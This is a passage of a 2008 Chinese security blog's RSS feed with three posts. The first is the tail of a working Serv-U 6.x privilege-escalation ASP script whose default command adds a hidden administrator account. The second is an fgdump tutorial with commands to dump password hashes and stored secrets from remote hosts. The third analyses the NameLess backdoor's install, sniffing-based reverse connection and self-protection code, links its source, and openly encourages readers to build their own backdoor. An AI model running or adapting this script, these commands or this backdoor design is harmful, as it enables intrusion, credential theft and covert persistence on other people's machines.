a.open &quot;GET&quot;, &quot;http://127.0.0.1:&quot; &amp; port &amp; &quot;/leaves/upadmin/s1&quot;,True, &quot;&quot;, &quot;&quot;<br>
a.send loginuser &amp; loginpass &amp; mt &amp; deldomain &amp; newdomain &amp; newuser &amp; quit<br>
set session(&quot;a&quot;)=a<br>
%&gt;<br>
&lt;form method=&quot;post&quot; name=&quot;leaves&quot;&gt;<br>
&lt;input name=&quot;u&quot; type=&quot;hidden&quot; id=&quot;u&quot; value=&quot;&lt;%=user%&gt;&quot;&gt;&lt;/td&gt;<br>
&lt;input name=&quot;p&quot; type=&quot;hidden&quot; id=&quot;p&quot; value=&quot;&lt;%=pass%&gt;&quot;&gt;&lt;/td&gt;<br>
&lt;input name=&quot;port&quot; type=&quot;hidden&quot; id=&quot;port&quot; value=&quot;&lt;%=port%&gt;&quot;&gt;&lt;/td&gt;<br>
&lt;input name=&quot;c&quot; type=&quot;hidden&quot; id=&quot;c&quot; value=&quot;&lt;%=cmd%&gt;&quot; size=&quot;50&quot;&gt;<br>
&lt;input name=&quot;f&quot; type=&quot;hidden&quot; id=&quot;f&quot; value=&quot;&lt;%=f%&gt;&quot; size=&quot;50&quot;&gt;<br>
&lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;2&quot;&gt;&lt;/form&gt;<br>
&lt;script language=&quot;javascript&quot;&gt;<br>
document.write('&lt;center&gt;正在连接 127.0.0.1:&lt;%=port%&gt;,使用用户名: &lt;%=user%&gt;,口令：&lt;%=pass%&gt;...&lt;center&gt;');<br>
setTimeout(&quot;document.all.leaves.submit();&quot;,4000);<br>
&lt;/script&gt;<br>
&lt;%<br>
case 2<br>
set b=Server.CreateObject(&quot;Microsoft.XMLHTTP&quot;)<br>
b.open &quot;GET&quot;, &quot;http://127.0.0.1:&quot; &amp; ftpport &amp; &quot;/leaves/upadmin/s2&quot;, True, &quot;&quot;, &quot;&quot;<br>
b.send &quot;User luo&quot; &amp; vbCrLf &amp; &quot;pass ye&quot; &amp; vbCrLf &amp; &quot;site exec &quot; &amp; cmd &amp; vbCrLf &amp; quit<br>
set session(&quot;b&quot;)=b<br>
%&gt;<br>
&lt;form method=&quot;post&quot; name=&quot;leaves&quot;&gt;<br>
&lt;input name=&quot;u&quot; type=&quot;hidden&quot; id=&quot;u&quot; value=&quot;&lt;%=user%&gt;&quot;&gt;&lt;/td&gt;<br>
&lt;input name=&quot;p&quot; type=&quot;hidden&quot; id=&quot;p&quot; value=&quot;&lt;%=pass%&gt;&quot;&gt;&lt;/td&gt;<br>
&lt;input name=&quot;port&quot; type=&quot;hidden&quot; id=&quot;port&quot; value=&quot;&lt;%=port%&gt;&quot;&gt;&lt;/td&gt;<br>
&lt;input name=&quot;c&quot; type=&quot;hidden&quot; id=&quot;c&quot; value=&quot;&lt;%=cmd%&gt;&quot; size=&quot;50&quot;&gt;<br>
&lt;input name=&quot;f&quot; type=&quot;hidden&quot; id=&quot;f&quot; value=&quot;&lt;%=f%&gt;&quot; size=&quot;50&quot;&gt;<br>
&lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;3&quot;&gt;&lt;/form&gt;<br>
&lt;script language=&quot;javascript&quot;&gt;<br>
document.write('&lt;center&gt;正在提升权限,请等待...,&lt;center&gt;');<br>
setTimeout(&quot;document.all.leaves.submit();&quot;,4000);<br>
&lt;/script&gt;<br>
&lt;%<br>
case 3<br>
set c=Server.CreateObject(&quot;Microsoft.XMLHTTP&quot;)<br>
c.open &quot;GET&quot;, &quot;http://127.0.0.1:&quot; &amp; port &amp; &quot;/leaves/upadmin/s3&quot;, True, &quot;&quot;, &quot;&quot;<br>
c.send loginuser &amp; loginpass &amp; mt &amp; deldomain &amp; quit<br>
set session(&quot;c&quot;)=c<br>
%&gt;<br>
&lt;center&gt;提权完毕,已执行了命令：<br>
&lt;font color=red&gt;&lt;%=cmd%&gt;&lt;/font&gt;<br>
<br>
&lt;input type=button value=&quot; 返回继续 &quot; onClick=&quot;location.href='&lt;%=gname()%&gt;';&quot;&gt;<br>
&lt;/center&gt;<br>
<br>
&lt;%<br>
case else<br>
on error resume next<br>
set a=session(&quot;a&quot;)<br>
set b=session(&quot;b&quot;)<br>
set c=session(&quot;c&quot;)<br>
a.abort<br>
Set a = Nothing<br>
b.abort<br>
Set b = Nothing<br>
c.abort<br>
Set c = Nothing<br>
%&gt;<br>
&lt;center&gt;&lt;form method=&quot;post&quot; name=&quot;leaves&quot;&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td colspan=&quot;2&quot;&gt;Serv-U 6.X 提权脚本 by 落叶纷飞【S.S.T】 @ 肇庆&lt;/td&gt;<br>
<br>
&lt;/tr&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td width=&quot;200&quot;&gt;用户名:&lt;/td&gt;<br>
<br>
&lt;td width=&quot;400&quot;&gt;&lt;input name=&quot;u&quot; type=&quot;text&quot; id=&quot;u&quot; value=&quot;LocalAdministrator&quot;&gt;&lt;/td&gt;<br>
<br>
&lt;/tr&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td&gt;口　令：&lt;/td&gt;<br>
<br>
&lt;td&gt;&lt;input name=&quot;p&quot; type=&quot;text&quot; id=&quot;p&quot; value=&quot;#l@$ak#.lk;0@P&quot;&gt;&lt;/td&gt;<br>
<br>
&lt;/tr&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td&gt;端　口：&lt;/td&gt;<br>
<br>
&lt;td&gt;&lt;input name=&quot;port&quot; type=&quot;text&quot; id=&quot;port&quot; value=&quot;43958&quot;&gt;&lt;/td&gt;<br>
<br>
服务器端口：<br>
<br>
&lt;td&gt;&lt;input name=&quot;ffport&quot; type=&quot;text&quot; id=&quot;ffport&quot; value=&quot;65500&quot;&gt;&lt;/td&gt;<br>
<br>
服务器IP：<br>
<br>
&lt;td&gt;&lt;input name=&quot;iip&quot; type=&quot;text&quot; id=&quot;iip&quot; value=&quot;0.0.0.0&quot;&gt;&lt;/td&gt;<br>
<br>
&lt;/tr&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td&gt;系统路径：&lt;/td&gt;<br>
<br>
&lt;td&gt;&lt;input name=&quot;f&quot; type=&quot;text&quot; id=&quot;f&quot; value=&quot;&lt;%=f%&gt;&quot; size=&quot;8&quot;&gt;&lt;/td&gt;<br>
<br>
&lt;/tr&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td&gt;命　令：&lt;/td&gt;<br>
<br>
&lt;td&gt;&lt;input name=&quot;c&quot; type=&quot;text&quot; id=&quot;c&quot; value=&quot;cmd /c net user leaves cnsst /add &amp; net localgroup administrators leaves /add&quot; size=&quot;50&quot;&gt;&lt;/td&gt;<br>
<br>
&lt;/tr&gt;<br>
&lt;tr align=&quot;center&quot; valign=&quot;middle&quot;&gt;<br>
&lt;td colspan=&quot;2&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;提交&quot;&gt;<br>
&lt;input type=&quot;reset&quot; name=&quot;Submit2&quot; value=&quot;重置&quot;&gt;<br>
&lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;1&quot;&gt;&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;/form&gt;&lt;/center&gt;<br>
<br>
使用方法：如果是6.4以下的保持默认即可，只要按你的需要修改执行的命令即可！如果为6.4请在&ldquo;服务器端口&rdquo;里填21，然后再在&ldquo;服务器IP&rdquo;中填写服务器的真实IP。<br>
&lt;% end select<br>
function Gpath()<br>
on error resume next<br>
err.clear<br>
set f=Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br>
if err.number&gt;0 then<br>
gpath=&quot;c:&quot;<br>
exit function<br>
end if<br>
gpath=f.GetSpecialFolder(0)<br>
gpath=lcase(left(gpath,2))<br>
set f=nothing<br>
end function<br>
Function GName()<br>
If request.servervariables(&quot;SERVER_PORT&quot;)=&quot;80&quot; Then<br>
GName=&quot;http://&quot; &amp; request.servervariables(&quot;server_name&quot;)&amp;lcase(request.servervariables(&quot;script_name&quot;))<br>
Else<br>
GName=&quot;http://&quot; &amp; request.servervariables(&quot;server_name&quot;)&amp;&quot;:&quot;&amp;request.servervariables(&quot;SERVER_PORT&quot;)&amp;lcase(request.servervariables(&quot;script_name&quot;))<br>
End If<br>
End Function<br>
%&gt; 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Scripts">Scripts</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/1c8a89ed7b6b664b78f055e1.html#comment">查看评论</a>]]></description>
        <pubDate>2008-01-31  10:23</pubDate>
        <category><![CDATA[Scripts]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/1c8a89ed7b6b664b78f055e1.html</guid>
</item>

<item>
        <title><![CDATA[Using fgdump Effectively]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/a56ecc0953a4b9206a60fb59.html]]></link>
        <description><![CDATA[
		
		<center>
<h2><u>Using fgdump Effectively</u></h2>
<p> </p>
</center>
<p>fgdump is a pretty easy tool to use, but there are a number of options which         you can use to make it even easier. Let's start by looking at the command line         parameter help, which is accessible by running &quot;fgdump -?&quot;</p>
<p class="commandline">fgdump [-?][-t][-c][-w][-s][-r][-v][-k][-o][-l logfile][-T threads] [{{-h Host         | -f filename} -u Username -p Password | -H filename}]        <br>
where Username and Password have administrator credentials        <br>
<br>
-? displays help (you're looking at it!)        <br>
-t will test for the presence of antivirus without actually running the         password dumps        <br>
-c skips the cache dump<br>
-w skips the password dump<br>
-s performs the protected storage dump<br>
-r forgets about existing pwdump/cachedump files. The default behavior is to         skip a host if these files already exist.        <br>
-v makes output more verbose. Use twice for greater effect<br>
-k keeps the pwdump/cachedump going even if antivirus is in an unknown state<br>
-l logs all output to logfile<br>
-T runs fgdump with the specified number of parallel threads<br>
-h is the name of the single host to perform the dumps against<br>
-f reads hosts from a line-separated file<br>
-H reads host:username:password from a line-separated file (per-host cr         edentials)<br>
-o skips pwdump history dumps<br>
<br>
** As of version 1.4.0, you can run fgdump with no parameters to dump the local         box (no impersonation or binding)</p>
<p>Now that we've got that out of the way, let's look at some common usage         examples. Output from fgdump.exe is stored in files of the format <font class="filenameorvar">host.pwdump</font>,        <font class="filenameorvar">host.cachedump</font> and <font class="filenameorvar">host.protectedstorage</font>, where host is the particular host        that was dumped. These will be found in the same folder in which fgdump is        executing.</p>
<p class="topic">Dumping a Local Machine Using the Current User</p>
<p class="commandline">fgdump.exe</p>
<p>Simple enough. Uses the currently logged in user and password to do the        dumping (this person obviously must be an administrator).</p>
<p> </p>
<p class="topic">Dumping the Local Machine Using a Different Account</p>
<p class="commandline">fgdump.exe -h 127.0.0.1 -u AnAdministrativeUser</p>
<p><font class="filenameorvar">AnAdministrativeUser</font>'s account will be used         to perform the password dump against the local machine. You will be prompted        for the password when fgdump starts executing.</p>
<p> </p>
<p class="topic">Dumping a Remote Machine (192.168.0.10) Using a Specified User (1)</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser</p>
<p>Here, <font class="filenameorvar">AnAdministrativeUser</font>'s account will be used to perform the password dump.         Keep in mind that any user used to perform password dumps needs administrative         credentials. In this scenario, you will be prompted for the password before the         password dump starts.</p>
<p> </p>
<p class="topic">Dumping a Remote Machine (192.168.0.10) Using a Specified User (2)</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -p l4mep4ssw0rd</p>
<p>The same as the previous example, only the password is specified on the command         line. This is obviously bad if someone is shoulder-surfing, but makes scripting         fgdump a lot easier.</p>
<p> </p>
<p class="topic">Dumping Many Remote Machines, All With the Same Password</p>
<p class="commandline">fgdump.exe -f hostfile.txt -u AnAdministrativeUser</p>
<p>In this case, <font class="filenameorvar">hostfile.txt</font> contains one host per line in a text file. Each host         will be dumped using the credentials of <font class="filenameorvar">AnAdministrativeUser</font>. You will be         prompted for the password during the dump run, but you can specify a password         using -p as above of course.</p>
<p> </p>
<p class="topic">Dumping Many Remote Machines, Each With Its Own Username and Password</p>
<p class="commandline">fgdump.exe -H combofile.txt</p>
<p><font class="filenameorvar">combofile.txt</font> should contain line separated files of the form         <font class="filenameorvar">host:user:password</font> where host is the individual host to be dumped, user is the         username for that host and password is, obviously, the password. Lines which do         not follow this format will be ignored</p>
<p> </p>
<p class="topic">Dumping Many Remote Machines More Efficiently</p>
<p class="commandline">fgdump.exe -f hostfile.txt -u AnAdministrativeUser -T 10</p>
<p>The form of this command is similar to the other multi-machine dumps, and in         fact, this form can be used with any multiple machine dump. The &quot;-T 10&quot;         parameter specifies that 10 concurrent threads should be used. This means,         effectively, that 10 hosts will be dumped at the same time. If the -T is not         used, hosts will be dumped sequentially one at a time, which is very slow for         large numbers of hosts.<br>
<br>
Keep in mind that there is a point of diminishing returns with the threads,         that is, using a number like 100 will cause too much thrash to be of any use. I         personally like values of 5 to 10, though some of my cohorts crank this number         up as high as 20. If performance seems really bad, try turning down the number         of threads.</p>
<p> </p>
<p class="topic">Dumping Hosts and Logging Output</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -l myoutput.log</p>
<p>Any output from the password dump run will be simultaneously written to         <font class="filenameorvar">myoutput.log</font>. This does not include actual         password hashes, but rather any         status and error messages. This is particularly useful when you need to grep         out failed hosts, or when used in conjunction with verbose output, as shown         below.</p>
<p> </p>
<p class="topic">Dumping Hosts, Logging Output and Viewing Verbose Messages</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -l myoutput.log -v -v</p>
<p>This is the same as before, but you'll get many more messages. You can use        a single -v to get a bit less output if you desire, but since this option         is really meant for debugging, it's often best to just use -v -v. Logging        output is recommended, too. If you need to send me an error report, this        is what I'd ideally like to see to help discover the problem.</p>
<p> </p>
<p class="topic">Dumping a Host Without Password Histories</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -o</p>
<p>You can use this option if you are not interested in dumping password histories.        Histories are useful if you want to spot trends in passwords, such as &quot;spring07&quot;        changed to &quot;summer07&quot; 90 days later. Incidentally, you are currently unable to        obtain password histories from Vista, though fgdump should inform you of this        in the output.</p>
<p> </p>
<p class="topic">Dumping a Host Without Cachedump or Pwdump Output</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -c (or -w for skipping pwdump)</p>
<p>If you don't want a specific type of output (cached credentials or password dumps),        you can invoke the appropriate flag above to ignore them. Ignoring cached creds on         Vista is somewhat necessary right now, as cachedump does not currently work against        Vista.</p>
<p> </p>
<p class="topic">Dumping Protected Storage</p>
<p class="commandline">fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -s</p>
<p>Protected storage can contain interesting secrets, including passwords for        IE and Outlook if a user opted to have those programs remember passwords.</p>
<p> </p>
<p>A few other options exist, but they are pretty rarely used, and the help should       probably provide sufficient information on their usage. As always, if there are       questions, feel free to drop me a line at fizzgig -AT- foofus -DOT- net.</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/Security">Security</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/a56ecc0953a4b9206a60fb59.html#comment">查看评论</a>]]></description>
        <pubDate>2008-01-22  11:22</pubDate>
        <category><![CDATA[Security]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/a56ecc0953a4b9206a60fb59.html</guid>
</item>

<item>
        <title><![CDATA[NameLess后门技术全面分析]]></title>
        <link><![CDATA[http://hi.baidu.com/stealthwalker/blog/item/21783936c40d61d9a2cc2b7c.html]]></link>
        <description><![CDATA[
		
		作者：灰狐<br>
来源：灰狐's Blog<br>
<br>
注:本文已发表在&lt;黑客防线&gt;2008年第1期,转载请注明出处.<br>
<br>
NameLess的大名都应该听说过吧，估计还有相当多的人用过呢，个人认为这个后门非常经典，我们再来简单看一下有关它的介绍：仅有一个DLL文件，平时不开端口,可以进行反向连接的后门程序。<br>
<br>
这个后门早已经开源了，网上流传最广的是V1.14（稳定版），（我已经把这个版本的完整源代码打包了）哈哈，这样的好事可千万不能错过哦，立马从网上Down回来研究了下，越读越觉得越有味道，就把一些东西分享出来吧，希望对各位能有所帮助。<br>
<br>
对于一个较完整的后门来说，最需要关心的地方莫过于几点：启动方式、连接方式、控制功能、自身保护。而NameLess就具备了一个完整后门的所有功能，我们就通过品读它的代码来启发自己能做出一个属于自己的后门吧。<br>
<br>
首先将源代码文件解压，鼠标双击NameLess.dsw文件打开，我的测试环境是VC6.0，更高的版本我没测试过（没安装），为了方便分析，我同时使用EditPlus将其打开了，便于快速查找各函数的定义跟踪流程。<br>
<br>
一、启动方式<br>
<br>
NameLess后门的安装方法：打开CMD窗口,转到后门放置的目录,输入Rundll32 NameLess.dll,Install ServiceName ActiveString Password。<br>
<br>
可见它是通过系统提供的Rundll32程序来进行安装的（毕竟它只有一个DLL文件），安装函数代码在输出的Install函数中，我们在源工程中找到这个函数并跟踪到InstallService(param)中，一目了然。<br>
<br>
作者首先用自写的DesStringArgument函数把命令行参数给分解出来，再用自写的ReadRegEx函数检查注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\NameLess（我们下面用&ldquo;注册表路径1来代替这个路径&rdquo;）是否存在，然后进入HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\&quot;ServiceName&quot;（注册表路径2）把start的值改为2，接着进入子项&ldquo;Parameters&rdquo;中把原服务的ServiceName读取出来后保存到注册表路径1中，随后把自身的一些信息比如密码、替换的服务名也保存在这里以备卸载的时候恢复。后面紧接着就是卸载函数RemoveService，大概流程就是先判断密码是否正确，然后到&ldquo;注册表路径1&rdquo;中找到原服务的文件路径进行恢复，然后删除掉&ldquo;注册表路径1&rdquo;。（代码我就不贴了，见附件源工程中的NameLess.cpp文件）<br>
<br>
这种启动方法只需替换掉系统中原有不太重要的服务，在当时来说效果应该是比较好的，不过随着现在主动防御的大行其道，这种直接修改注册表的方法已失去了效果，毕竟是两年前的作品了。但主动防御也不是无懈可击，它毕竟还是要被用户控制的（技术是要为用户服务的），所以我们可以综合利用各种方法将自己完美地伪装好后欺骗用户的允许，顺利地Pass，所以说&ldquo;人&rdquo;才是网络安全中最薄弱的一环。<br>
<br>
二、连接方式<br>
<br>
现在我们的后门可以启动了，但它是如何工作的呢？我们知道如果程序以服务方式启动的话，在DLL中必须导出一个ServiceMain函数，所以我们就在NameLess.cpp文件中找到该函数开始我们的分析过程。<br>
<br>
这里先注册了一个服务控制函数ServiceHandler以便控制服务的启动、暂停等行为，具体的实现在TellSCM函数中，这个函数是通过调用API函数SetServiceStatus实现的，没什么新意。我们回到ServiceMain函数中继续看，就剩下一个调用了：RealService，看样子是从这里开始了真正的工作。<br>
<br>
在RealService函数中经过一系列的读取注册表初始化后程序创建了一个保护线程，（该线程函数ShieldThread的实现代码在源工程的./Command/Shield.h文件中，这个放到后面的&ldquo;自我保护&rdquo;功能中讲解）然后初始化套接字InitSocket，紧接着StartSniffer，然后就调用了WSACleanup开始做清理工作了，所以我们就来专注分析StartSniffer函数（函数的实现代码在源工程./Sniffer/Sniffer.h文件中）。<br>
<br>
这里首先建立了一个IPPROTO_IP类型的原始套接字，紧接着调用函数GetInetIP获取本机的IP地址，它这个GetInetIP函数中对各种情况都进行了比较完善的考虑，大家在做自己的程序时可以参考一下。我们继续关注它的sniffer工作，在bind了套接字之后调用了WSAIoctl将第二个参数dwIoControlCode设置为SIO_RCVALL来捕获流经本机的所有数据；每捕获到一个数据包后就调用自写函数DecodeIPPack（具体功能后面有分析）将其解析出来后创建一个StartBackDoor线程，因为给它传递的参数为NULL，所以此线程函数将执行BindShell函数（实现代码在./Socket/Socket.h文件中）建立一个新的监听套接字，将其属性设置为可重用，每监听到一个新的连接后就为其建立一个会话套接字并比较源IP，代码如下：<br>
<br>
if(stricmp(SourceIP,inet_ntoa(AccpetAddr.sin_addr)))<br>
<br>
{<br>
<br>
closesocket(AcceptSocket);<br>
<br>
continue; <br>
<br>
}<br>
<br>
这一段的作用比较容易让人感到迷惑，AccpetAddr是接收到的连接另一方属性，我们使用EditPlus的&ldquo;在文件中查找&rdquo;在整个目录里面搜索SourceIP查看它到底是做什么的。最后把注意力放在了DecodeIPPack函数上（实现代码在./Sniffer/Sniffer.h文件中）：<br>
<br>
BOOL DecodeIPPack(const char * IPBuffer)<br>
<br>
{<br>
<br>
IPHeader * pIpheader;<br>
<br>
int IPHeaderLen;<br>
<br>
struct sockaddr_in SourceAddr;<br>
<br>
<br>
<br>
pIpheader = (IPHeader*)IPBuffer;<br>
<br>
if ((pIpheader-&gt;proto != IPPROTO_TCP))<br>
<br>
return FALSE;<br>
<br>
SourceAddr.sin_addr.s_addr = pIpheader-&gt;sourceIP;<br>
<br>
memcpy(SourceIP, inet_ntoa(SourceAddr.sin_addr), sizeof(SourceIP));<br>
<br>
IPHeaderLen = sizeof(unsigned long) * (pIpheader-&gt;h_lenver &amp; 0xf);<br>
<br>
return DecodeTCPPack(IPBuffer+IPHeaderLen);<br>
<br>
}<br>
<br>
在前面我们提到了这个函数，但并不知道它的具体作用，现在就来详细分析一下，每当捕获到一个数据包就传递给这个函数，并将其强制转换成IPHeader类型（这个结构类型会经常用到，网上有很多，附带的源代码中是定义在Sniffer.h文件中）。函数首先检查数据报的协议类型是否为IPPROTO_TCP，然后将sourceIP字段值赋给SourceAddr.sin_addr.s_addr，再通过memcpy函数拷贝到SourceIP变量中，到这里我们可以知道每一个协议为IPPROTO_TCP的数据包的源IP都会被赋给SourceIP，随后将其传递给了DecodeTCPPack和CheckTcpData函数，在这两个函数中先进行初始化处理后就调用CheckTcpData检查数据，这个函数有一点点长，所以我就简单介绍一下它的工作流程算了：首先在数据报中找到&quot;\n&quot;，接着判断它前面是否为&quot;\r&quot;，如果是就把它前面的内容全部拷贝到一个字符串StringData中，再使用PortPoint = strstr(StringData,&quot;:&quot;);和HostPoint = strstr(StringData,&quot;|&quot;);这两句在里面寻找主机地址和端口，紧接着还会分析端口合法性和主机地址的有效性，这里就不多说了。从这里可以知道它是使用嗅探的原理来取得控制端的IP实现反向连接的，大概原理就是捕获流经本机的所有数据包，然后根据自定义的协议来分析是否是控制端发送过来的数据，如果是就从中取得相关信息后连接。<br>
<br>
好了，中间分析了这么多后我们回到stricmp(SourceIP,inet_ntoa(AccpetAddr.sin_addr))这里继续看，通过上面的分析我们清楚了SourceIP是用来区分是否是控制端的IP的。如果符合规则的话就为其建立一个控制线程，在此线程函数ClientThread中使用自定义函数ReveiceMessage来接收命令，首先判断输入的密码是否正确，通过后即发送预定义的欢迎信息，然后进入一个循环中不停地接受控制端的命令并执行。<br>
<br>
到这里我们就基本上把NameLess的连接流程搞清楚了，这种使用嗅探的方法有它的好处，就是容易过防火墙，但也有它的缺点，就是当网络繁忙的时候很容易丢失封包。一些其他的反向连接方式更加流行，就是通过一个固定的域名来作为中转站，控制端每次启动的时候都自动将自己的IP更新到一个指定的网页文件中，而服务端就通过读取这个文件来得到控制端的IP后主动进行连接。网上的资料很多，大家可以多找来一些代码参考。<br>
<br>
三、控制功能<br>
<br>
现在我们来看NameLess的控制功能，这个其实就是属于系统编程的内容了，以前的杂志里面涉及了很多，我们今天就只拣一些比较有代表性的讲解下。所有的命令实现代码都在.\Command\目录下的相关文件中。<br>
<br>
大多数功能都是很常见的，比如列举进程、下载文件、清理日志，经常看黑防的各位估计早就会了，得到系统当前登录用户的密码这个功能貌似不错，不过挺复杂，NameLess中是注入到WinLogon进程中并且调用了一些未公开的API比如NtQuerySystemInformation等，这里就不多讲了，有兴趣的可以自行阅读代码Findpass.h来学习。挑来挑去还是拿开启终端服务来讲一下吧，这个功能还是蛮有用的，其实说白了其实就是操作注册表：<br>
<br>
void InstallTerm(SOCKET Socket,DWORD NewPort)<br>
<br>
{<br>
<br>
int a = WriteRegEx(HKEY_LOCAL_MACHINE,&quot;SYSTEM\\CurrentControlSet\\Control<br>
<br>
\\Terminal Server&quot;,&quot;TSEnabled&quot;,REG_DWORD,NULL,1,0); <br>
<br>
int b = WriteRegEx(HKEY_LOCAL_MACHINE,&quot;SYSTEM\\CurrentControlSet\\Services<br>
<br>
\\TermService&quot;,&quot;Start&quot;,REG_DWORD,NULL,2,0); <br>
<br>
int c = WriteRegEx(HKEY_LOCAL_MACHINE,&quot;SYSTEM\\CurrentControlSet\\Control<br>
<br>
\\Terminal Server\\WinStations\\RDP-Tcp&quot;,&quot;PortNumber&quot;,REG_DWORD,NULL,NewPort,0);<br>
<br>
<br>
<br>
if(a &amp;&amp; b &amp;&amp; c)<br>
<br>
sprintf(Temp,&quot;Set New Terminal Service Port:%d Successfully\r\n&quot;,NewPort);<br>
<br>
else<br>
<br>
sprintf(Temp,&quot;Set New Terminal Service Failed\r\n&quot;); <br>
<br>
SendMessage(Socket,Temp);<br>
<br>
}<br>
<br>
WriteRegEx是作者自己写的函数，方便了他写程序过程中的重用。网上还流传有一份完整开启终端的C代码，搜&ldquo;开3389 源代码&rdquo;就可以找到很多。<br>
<br>
虽然NameLess的控制功能比较全面，但大多数的功能其他后门也都具备，好像缺少一些所谓的特色功能，不过个人非常同意这种做法的。毕竟后门最重要的功能在于隐藏，拥有强大功能的那是远程控制，呵呵。<br>
<br>
四、自身保护<br>
<br>
作为一个后门，你不能假设肉鸡永远不会发现你，因此具有一定的自我保护能力是必须的，否则说不定随便一个新入门的菜鸟用任务管理器就能把你Kill了还会咧着嘴鄙视你：小样儿，就这水平还想出来混？<br>
<br>
NameLess在连接上后可以通过输入命令Shield来启动保护功能，UnShield来停止，我们来看下Shield的实现方法，根据ExeCommand函数的提示很快找到了代码实现函数SetShieldStatus（位于./Command/Shield.h文件中），此函数很短，很清楚地看到它是通过创建一个ShieldThread线程来实现自我保护的，停止的话就是把这个线程给TerminateThread掉。我们来详细看下ShieldThread函数是如何实现自我保护的。<br>
<br>
ShieldFlag = 1;<br>
<br>
strncpy(ProtectKey1,SubRoot,sizeof(ProtectKey1));<br>
<br>
strncat(ProtectKey1,ServerCFG.ServiceName,sizeof(ProtectKey1)); <br>
<br>
strncpy(ProtectKey2,ProtectKey1,sizeof(ProtectKey2));<br>
<br>
strncat(ProtectKey2,&quot;\\Parameters&quot;,sizeof(ProtectKey2));<br>
<br>
GetModuleFileName(HMODULE(hDll), DllFilePath,MAX_PATH);<br>
<br>
<br>
<br>
hDllFile = CreateFile(DllFilePath,GENERIC_READ,0,0,OPEN_EXISTING,<br>
<br>
FILE_ATTRIBUTE_NORMAL,0);<br>
<br>
SizeDll = GetFileSize(hDllFile,0);<br>
<br>
MemDll = VirtualAlloc(0,SizeDll,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);<br>
<br>
ReadFile(hDllFile,MemDll,SizeDll,&amp;BytesRead,0);<br>
<br>
CloseHandle(hDllFile);<br>
<br>
<br>
<br>
while(1)<br>
<br>
{<br>
<br>
hSearch =FindFirstFile(DllFilePath,&amp;FileData);<br>
<br>
if(hSearch==INVALID_HANDLE_VALUE)<br>
<br>
{<br>
<br>
hDllFile = CreateFile(DllFilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,<br>
<br>
FILE_ATTRIBUTE_NORMAL,0);<br>
<br>
WriteFile(hDllFile,MemDll,SizeDll,&amp;BytesRead,0);<br>
<br>
CloseHandle(hDllFile);<br>
<br>
} <br>
<br>
FindClose(hSearch);<br>
<br>
WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey1,&quot;Start&quot;,REG_DWORD,NULL,2,1);<br>
<br>
WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey2,&quot;ServiceDll&quot;,REG_EXPAND_SZ,<br>
<br>
DllFilePath,NULL,0);<br>
<br>
Sleep(30000);<br>
<br>
就不一句句分析了，大体流程是：取得DLL路径名-&gt;读方式打开-&gt;获取文件大小-&gt;申请一块同样大小的内存-&gt;将文件内容读取到该块内存中-&gt;循环每30秒进行一次以下工作-&gt;查找该DLL是否存在-&gt;不存在则创建并将以上分配的内存块中数据写入该文件-&gt;将保护键值写入到注册表。<br>
<br>
这种方法似乎有很多问题，因为它似乎并不是采用常用的双进程或在某个常驻系统进程中创建一个远线程，这样如果当DLL文件被删除、注册表被修改后马上将Rundll32进程结束掉就可能永远没办法&ldquo;复活了&rdquo;。<br>
<br>
五、总结<br>
<br>
通过以上的简单分析，我们可以看出这款后门在技术上其实并没有很多创新的地方，但它的经典之处在于考虑问题非常全面，并使用了一些不常见的思路，尽最大努力做到了稳定。这样的编程思路对于我们的学习非常值得借鉴，呵呵；另外值得一提的是这份工程代码非常规范，比如把读写注册表的操作封装到自定义的函数中这点就值得我们借鉴。<br>
<br>
源码下载：http://201314.free.fr/attachments/200801/NameLess114.rar 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/stealthwalker/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/stealthwalker/blog/item/21783936c40d61d9a2cc2b7c.html#comment">查看评论</a>]]></description>
        <pubDate>2008-01-22  10:11</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[stealthwalker]]></author>
		<guid>http://hi.baidu.com/stealthwalker/blog/item/21783936c40d61d9a2cc2b7c.html</guid>
</item>

<item>
        <title><![CDATA[《SQL注入高级技巧nowthk篇》的深入分析]]></title>
